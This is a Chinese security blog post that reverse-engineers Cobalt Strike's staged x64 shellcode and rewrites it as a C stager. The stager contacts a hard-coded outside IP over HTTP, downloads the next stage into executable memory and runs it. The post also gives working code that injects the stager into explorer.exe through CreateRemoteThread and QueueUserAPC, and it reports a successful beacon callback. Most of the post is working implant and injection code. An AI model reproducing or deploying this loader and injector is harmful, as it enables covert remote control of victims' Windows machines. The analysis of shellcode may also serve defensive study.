CS的shellcode功能分析和代码重写实战

admin 2022年6月6日23:44:33评论345 views字数 12398阅读41分19秒阅读模式

前言

随着圈子里的新人越来越多,我准备从这一篇开始慢慢写一些与基础知识相关的文章,方便一些对二进制安全知识了解不多的同学参考。虽然讲的还是基础知识,但是我也尽量写的实用和有趣一点,防止与网上的文章出现同质化。

这篇要讲的问题是由上一篇文章  滥用具备RWX-S权限且有签名的dll进行无感知的shellcode注入引出的,有同学问我为什么接收 metepreter 第二阶段的恶意代码需要那样写,本篇文章就回答这个问题。

另外非常欢迎各位同学在圈子里提问,能为基础知识板块的编写提供更多素材

CS的shellcode功能分析

我们这里讲的其实是stage类型的shellcode,为了方便调试从cs中获取出这一段代码,我们需要把它编译成exe,由于我是*nix系统,这里就用nasm进行编译,用 x86_64-w64-mingw32-ld 进行链接生成exe。

编写start.asm如下:

CS的shellcode功能分析和代码重写实战

然后编译接:

nasm -f win64 start.asm  -o prog1.o
x86_64-w64-mingw32-ld prog1.o -o prog1.exe

测试一下可以上线,接下来用ida打开分析一下执行逻辑

CS的shellcode功能分析和代码重写实战

开头就是一个call,跟进去简单看一下代码逻辑:

CS的shellcode功能分析和代码重写实战

看到pop了rbp,然后call rbp,显然这个函数的作用是把call的下一条指令作为函数进行调用,我们定义一下这个函数,然后仔细阅读一下,我对所有的代码都打了注释,这个函数包含了核心代码。

.text:000000014000100A call_function_with_hash proc near
.text:000000014000100A
.text:000000014000100A var_38 = qword ptr -38h
.text:000000014000100A
.text:000000014000100A push r9
.text:000000014000100C push r8
.text:000000014000100E push rdx
.text:000000014000100F push rcx
.text:0000000140001010 push rsi
.text:0000000140001011 xor rdx, rdx
.text:0000000140001014 mov rdx, gs:[rdx+60h] ; 获取 PEB
.text:0000000140001019 mov rdx, [rdx+18h] ; 获取 Ldr
.text:000000014000101D mov rdx, [rdx+20h] ; 获取 InMemoryOrderModuleList
.text:0000000140001021
.text:0000000140001021 loc_140001021: ; CODE XREF: call_function_with_hash+C3↓j
.text:0000000140001021 mov rsi, [rdx+50h] ; 获取第一个dll的BaseDllName
.text:0000000140001025 movzx rcx, word ptr [rdx+4Ah] ; 获取 BaseDllName unicode_string 的 max_length
.text:000000014000102A xor r9, r9
.text:000000014000102D
.text:000000014000102D loc_14000102D: ; CODE XREF: call_function_with_hash+34↓j
.text:000000014000102D xor rax, rax
.text:0000000140001030 lodsb
.text:0000000140001031 cmp al, 61h ; 'a'
.text:0000000140001033 jl short loc_140001037
.text:0000000140001035 sub al, 20h ; ' '
.text:0000000140001037
.text:0000000140001037 loc_140001037: ; CODE XREF: call_function_with_hash+29↑j
.text:0000000140001037 ror r9d, 0Dh
.text:000000014000103B add r9d, eax
.text:000000014000103E loop loc_14000102D ; 计算 hash
.text:0000000140001040 push rdx
.text:0000000140001041 push r9
.text:0000000140001043 mov rdx, [rdx+20h] ; 获取Dllbase
.text:0000000140001047 mov eax, [rdx+3Ch] ; 获取 Pe 的 nt_header
.text:000000014000104A add rax, rdx
.text:000000014000104D cmp word ptr [rax+18h], 20Bh ; 比较是不是 pe64
.text:0000000140001053 jnz short loc_1400010C7
.text:0000000140001055 mov eax, [rax+88h] ; 获取导出表
.text:000000014000105B test rax, rax
.text:000000014000105E jz short loc_1400010C7
.text:0000000140001060 add rax, rdx ; 获取导出表的地址
.text:0000000140001063 push rax
.text:0000000140001064 mov ecx, [rax+18h] ; NumberOfNames
.text:0000000140001067 mov r8d, [rax+20h] ; AddressOfNames
.text:000000014000106B add r8, rdx
.text:000000014000106E
.text:000000014000106E loc_14000106E: ; CODE XREF: call_function_with_hash+8A↓j
.text:000000014000106E jrcxz loc_1400010C6
.text:0000000140001070 dec rcx
.text:0000000140001073 mov esi, [r8+rcx*4] ; 存储函数名称地址
.text:0000000140001077 add rsi, rdx
.text:000000014000107A xor r9, r9
.text:000000014000107D
.text:000000014000107D loc_14000107D: ; CODE XREF: call_function_with_hash+80↓j
.text:000000014000107D xor rax, rax
.text:0000000140001080 lodsb
.text:0000000140001081 ror r9d, 0Dh
.text:0000000140001085 add r9d, eax
.text:0000000140001088 cmp al, ah
.text:000000014000108A jnz short loc_14000107D
.text:000000014000108C add r9, [rsp+40h+var_38]
.text:0000000140001091 cmp r9d, r10d
.text:0000000140001094 jnz short loc_14000106E ; 遍历导出表
.text:0000000140001096 pop rax
.text:0000000140001097 mov r8d, [rax+24h]
.text:000000014000109B add r8, rdx
.text:000000014000109E mov cx, [r8+rcx*2]
.text:00000001400010A3 mov r8d, [rax+1Ch]
.text:00000001400010A7 add r8, rdx
.text:00000001400010AA mov eax, [r8+rcx*4]
.text:00000001400010AE add rax, rdx ; 存储获取的函数地址
.text:00000001400010B1 pop r8
.text:00000001400010B3 pop r8
.text:00000001400010B5 pop rsi
.text:00000001400010B6 pop rcx
.text:00000001400010B7 pop rdx
.text:00000001400010B8 pop r8
.text:00000001400010BA pop r9
.text:00000001400010BC pop r10
.text:00000001400010BE sub rsp, 20h
.text:00000001400010C2 push r10
.text:00000001400010C4 jmp rax
.text:00000001400010C6 ; ---------------------------------------------------------------------------
.text:00000001400010C6
.text:00000001400010C6 loc_1400010C6: ; CODE XREF: call_function_with_hash:loc_14000106E↑j
.text:00000001400010C6 pop rax
.text:00000001400010C7
.text:00000001400010C7 loc_1400010C7: ; CODE XREF: call_function_with_hash+49↑j
.text:00000001400010C7 ; call_function_with_hash+54↑j
.text:00000001400010C7 pop r9
.text:00000001400010C9 pop rdx
.text:00000001400010CA mov rdx, [rdx]
.text:00000001400010CD jmp loc_140001021 ; 获取第一个dll的BaseDllName
.text:00000001400010CD call_function_with_hash endp

主要功能就是遍历当前的模块的导出表,根据提供的函数hash找到对应函数,然后jmp过去。Hash函数的python实现大概如下:

def ror(number,bits):
    return ( (number >> bits) | (number << ( 32 - bits )) ) & 0xFFFFFFFF

def calc_sum(data,cast=False):
    sum 
0
    for i in data:
        c = 0
        if cast:
            c = i - 0x20 if i >= ord('a'else i
        else:
            c = i
        sum = ror( sum,0xd)
        sum += c
    return sum

def Hash(dllname,funcname):
    dllname += 'x00'
    dllname = dllname.encode('utf-16le')
    funcname += 'x00'
    funcname = funcname.encode('utf-8')
    return (calc_sum(dllname,True)+calc_sum(funcname) ) & 0xFFFFFFFF

c = Hash('kernel32.dll','LoadLibraryA')
print(hex(c))

我们不这里浪费太多篇幅,直接在这个函数的jmp rax 上下断点,使用x64dbg进行调试,把调用过的函数都记录下来,结果如下:

CS的shellcode功能分析和代码重写实战
kernel32.LoadLibraryA("wininet")
rax = wininet.InternetOpenA(NULL,NULL,NULL,NULL,NULL)
wininet.InternetConnectA(rax,ip,port,NULL,NULL,0x3,0,0)
wininet.HttpOpenRequestA(rax,NULL,"/4v9z",NULL,NULL,NULL,0x84400200,NULL)
wininet.HttpSendRequestA(rax,"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)rn",-1,NULL,0);
kernel32.VirtualAlloc(0,0x400000,0x1000,0x40 )
wininet.InternetReadFile(rcx,rdx,0x2000,rsp)

之后就是jmp到 VirtualAlloc的出来的这段地址上运行了。

CS的shellcode功能分析和代码重写实战

可以看到这段代码的运行效率其实是比较低的,每调用一次函数就会遍历一遍当前所有模块的所有导出函数,但是为了减少shellcode的体积,这么做也是值得的。

下面就开始进入了本文的重点内容,对上面这一段代码进行重写。如果我们还是按照上面的思路编写shellcode,那其实毫无意义,因为随便找个shellcode框架就可以生成了,我们接下来换一种实现思路。

代码实现

首先我们知道,在一个windows系统开机之后,所有进程加载的ntdll.dllkernel32.dlluser32.dll的基址是相同的,这是由于windows内部的某些特定机制决定的,这里就不再展开细讲了。基于这个原理,一些函数的固定的函数地址完全可以在当前进程中获取,然后作为参数传给shellcode执行,废话不多说,直接看代码。

首先定义要传入shellcode函数的数据结构,并对这个结构进行赋值:

typedef struct _SHELLDATA
{

 pVirtualAlloc fnVirtualAlloc;
 pLoadLibraryA fnLoadLibraryA;
 pGetProcAddress fnGetProcAddress;
 
 char wininet[15];
 char InternetOpenA[15];
 char InternetConnectA[18];
 char HttpOpenRequestA[18];
 char HttpSendRequestA[18];
 char InternetReadFile[18];

 INTERNET_PORT port;
 char ip[15];
 char path[10];
 char ua[80];

}SHELLDATA, * PSHELLDATA;

// 对数据进行赋值
HMODULE  kernel32 = GetModuleHandleA("kernel32");
FARPROC  fnVirtualAlloc = GetProcAddress(kernel32,"VirtualAlloc");
FARPROC  fnLoadLibraryA = GetProcAddress(kernel32,"LoadLibraryA");
FARPROC  fnGetProcAddress = GetProcAddress(kernel32,"GetProcAddress");

SHELLDATA shelldata = {
 (pVirtualAlloc)fnVirtualAlloc,
 (pLoadLibraryA)fnLoadLibraryA,
 (pGetProcAddress)fnGetProcAddress,

 "wininet",
 "InternetOpenA",
 "InternetConnectA",
 "HttpOpenRequestA",
 "HttpSendRequestA",
 "InternetReadFile",
  80,
  "39.107.29.229",
  "/4v9z",
  "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)rn"
};

接下来定义作为shellcode执行的函数:

void shellcode(SHELLDATA * pfunc_start) {
 HMODULE wininet = pfunc_start->fnLoadLibraryA(pfunc_start->wininet);

 pInternetOpenA fnInternetOpenA = (pInternetOpenA)pfunc_start->fnGetProcAddress(wininet, pfunc_start->InternetOpenA);
 pInternetConnectA fnInternetConnectA = (pInternetConnectA)pfunc_start->fnGetProcAddress(wininet, pfunc_start->InternetConnectA);
 pHttpOpenRequestA fnHttpOpenRequestA = (pHttpOpenRequestA)pfunc_start->fnGetProcAddress(wininet, pfunc_start->HttpOpenRequestA);
 pHttpSendRequestA fnHttpSendRequestA = (pHttpSendRequestA)pfunc_start->fnGetProcAddress(wininet, pfunc_start->HttpSendRequestA);
 pInternetReadFile fnInternetReadFile = (pInternetReadFile)pfunc_start->fnGetProcAddress(wininet, pfunc_start->InternetReadFile);

 HINTERNET hin = fnInternetOpenA(NULLNULLNULLNULLNULL);
 HINTERNET session = fnInternetConnectA(hin, pfunc_start->ip, pfunc_start->port, NULLNULL0x300);
 HINTERNET req = fnHttpOpenRequestA(session, NULL, pfunc_start->path, NULLNULLNULL0x84400200NULL);
 while (TRUE) {
  BOOL status = fnHttpSendRequestA(req, pfunc_start->ua, -1NULL0);
  if (status) 
   break;
  SleepEx(1000,FALSE);
 }
 LPVOID addr =  pfunc_start->fnVirtualAlloc(00x4000000x10000x40);
 DWORD size = 0;
 LPVOID lpbuff = addr;
 while (TRUE) {
  BOOL status = fnInternetReadFile(req, lpbuff, 0x2000, &size);
  //printf("[*] size: %d n", size);
  if (status && size < 0x2000) {
   break;
  }
  else {
   lpbuff = (LPVOID)((UINT64)lpbuff + size);
  }
 }
 ((void(*)())addr)();
}

最后main函数中进行调用:

int WinMain(
 HINSTANCE hInstance,
 HINSTANCE hPrevInstance,
 LPSTR     lpCmdLine,
 int       nShowCmd
)
 
{
 shellcode(&shelldata);
 return 0;
}

那这段代码要怎么才能像真正的shellcode一样,在其他进程的进程空间中执行呢?

我们参考shellcode注入相关的方法,https://github.com/knownsec/shellcodeloader

接下来只演示两种方式,分别是CreateRemoteThread以及QueueUserAPC

CreateRemoteThread注入方法

使用CreateRemoteThread进行注入非常简单,看它的定义如下:

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
)
;

线程函数其实是接受一个指针类型的参数lpParameter,我们只需要这个参数里保存 shelldata 的指针即可,另外不要忘记把 shelldata写到目标进程中,代码示例如下:

 DWORD pid = getPID("explorer.exe");
 HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 SIZE_T remoteBuffer = (SIZE_T)VirtualAllocEx(process, NULL0x10000, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
 SIZE_T size = 0;

 WriteProcessMemory(process, (LPVOID)remoteBuffer, &shelldata, sizeof(shelldata), &size);
 WriteProcessMemory(process, (LPVOID)(remoteBuffer+size), shellcode , (SIZE_T)shellcode_end - (SIZE_T)shellcode , NULL);
 CreateRemoteThread(process, NULL0, (LPTHREAD_START_ROUTINE)(remoteBuffer + size), (LPVOID)remoteBuffer, 0NULL);
 CloseHandle(process);

可以看到代码已经注入并执行成功,cs上已经成功上线。

CS的shellcode功能分析和代码重写实战

QueueUserAPC注入方法

QueueUserAPC进行注入的核心是如下代码:

HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);

我们向目标进程中写入的apcRoutine作为PAPCFUNC被调用,看一下PAPCFUNC的定义:

CS的shellcode功能分析和代码重写实战

虽然这个函数也接受一个指针参数,但是这个参数的值是不受我们控制的,无法把相关的数据传递给这个函数。不过这都不是什么难事,我们接下来一步步的来解决这个问题

首先这里要求apcRoutine是一个单参数的函数,但是如果我们提供一个有两个参数的函数,这样肯定也是不会有问题的,但是问题是第二个参数并不会被 caller 初始化,如果是x86_64,那就是寄存区rdx不会被存储有效值。

那我们能不能在调用函数之前,自己初始化一下rdx,让rdx指向shelldata?具体要怎么做呢,想一下内存布局

CS的shellcode功能分析和代码重写实战

初始化rdx时,需要先获取当前的 rip来做自定位,在x64平台上获取rip可以直接用指令lea rdx,[rip],所以初始化rdx的汇编代码就是:

lea rdx,[rip]
sub rdx,(0x7+sizeof(shelldata))

只要运行完这两条指令,rdx就指向了shelldata。那接下来shellcode函数就可以使用rdx作为自己的第二个参数了,所以需要将shellcode的函数定义修改为:

void shellcode(LPVOID param,SHELLDATA * pfunc_start);

然后写如下代码就可以实现APC注入:

DWORD pid = getPID("explorer.exe");
 HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 SIZE_T remoteBuffer = (SIZE_T)VirtualAllocEx(process, NULL0x10000, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
 SIZE_T sum_size = 0;
 SIZE_T size = 0;
 WriteProcessMemory(process, (LPVOID)remoteBuffer, &shelldata, sizeof(shelldata), &size);
 sum_size += size;
 BYTE code[]= {
  0x48,0x8d,0x15,0x0,0x0,0x0,0x0,       // lea rdx,[rip]
  0x48,0x81,0xea,0xf7,0x0,0x0,0x0,   // sub rdx, (0x7+sizeof( shelldata ))
  0x90,0x90                                 //nop
 };
 WriteProcessMemory(process, (LPVOID)(remoteBuffer + sum_size), code, sizeof(code), &size);
 sum_size += size;
 WriteProcessMemory(process, (LPVOID)(remoteBuffer+ sum_size), shellcode, (SIZE_T)shellcode_end - (SIZE_T)shellcode , NULL);
 
 THREADENTRY32 te32;
 te32.dwSize = sizeof(te32);
 HANDLE Snapshot_thread = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
 if (Snapshot_thread != INVALID_HANDLE_VALUE)
 {
  if (Thread32First(Snapshot_thread, &te32))
  {
   do
   {
    if (te32.th32OwnerProcessID == pid)
    {
     //return te32.th32ThreadID;
     HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, te32.th32ThreadID);
     QueueUserAPC((PAPCFUNC)(remoteBuffer + sizeof(shelldata)), threadHandle, NULL);
    }
   } while (Thread32Next(Snapshot_thread, &te32));
  }
 }
 CloseHandle(Snapshot_thread);
 CloseHandle(process);
 Sleep(1000 * 60*30);

看一看一下写入之后的代码如下:

CS的shellcode功能分析和代码重写实战

最后编译选项啥的不要忘记了,之前的文章讲过的,不再细说了。



安全的矛与盾

我们的知识星球"安全的矛与盾"是一个既讲攻击也讲防御、开放的、前沿的安全技术分享社区。在这里你不仅可以学习到最新的攻击方法与逃避检测的技术,也可以学到最全面的安全防御体系,了解入侵检测、攻击防护系统的原理与实践。站在攻与防不同的视角看问题,提高自己对安全的理解和深度,做到: 知攻、知守、知进退;有矛、有盾、有安全。

更多的干货内容,更深入的技术交流,尽在知识星球“安全的矛与盾”,欢迎大家扫码加入!

CS的shellcode功能分析和代码重写实战

今日推荐阅读

  • Windows 系统支持的各类登录类型以及对应的登录凭据提取方法 
    https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them
  • Metasploit & CobaltStrike 的shellcode分析 
    https://xz.aliyun.com/t/7996
  • JNDI注入分析 
    https://tttang.com/archive/1611/

原文始发于微信公众号(安全的矛与盾):CS的shellcode功能分析和代码重写实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月6日23:44:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CS的shellcode功能分析和代码重写实战https://cn-sec.com/archives/1091702.html

发表评论

匿名网友 填写信息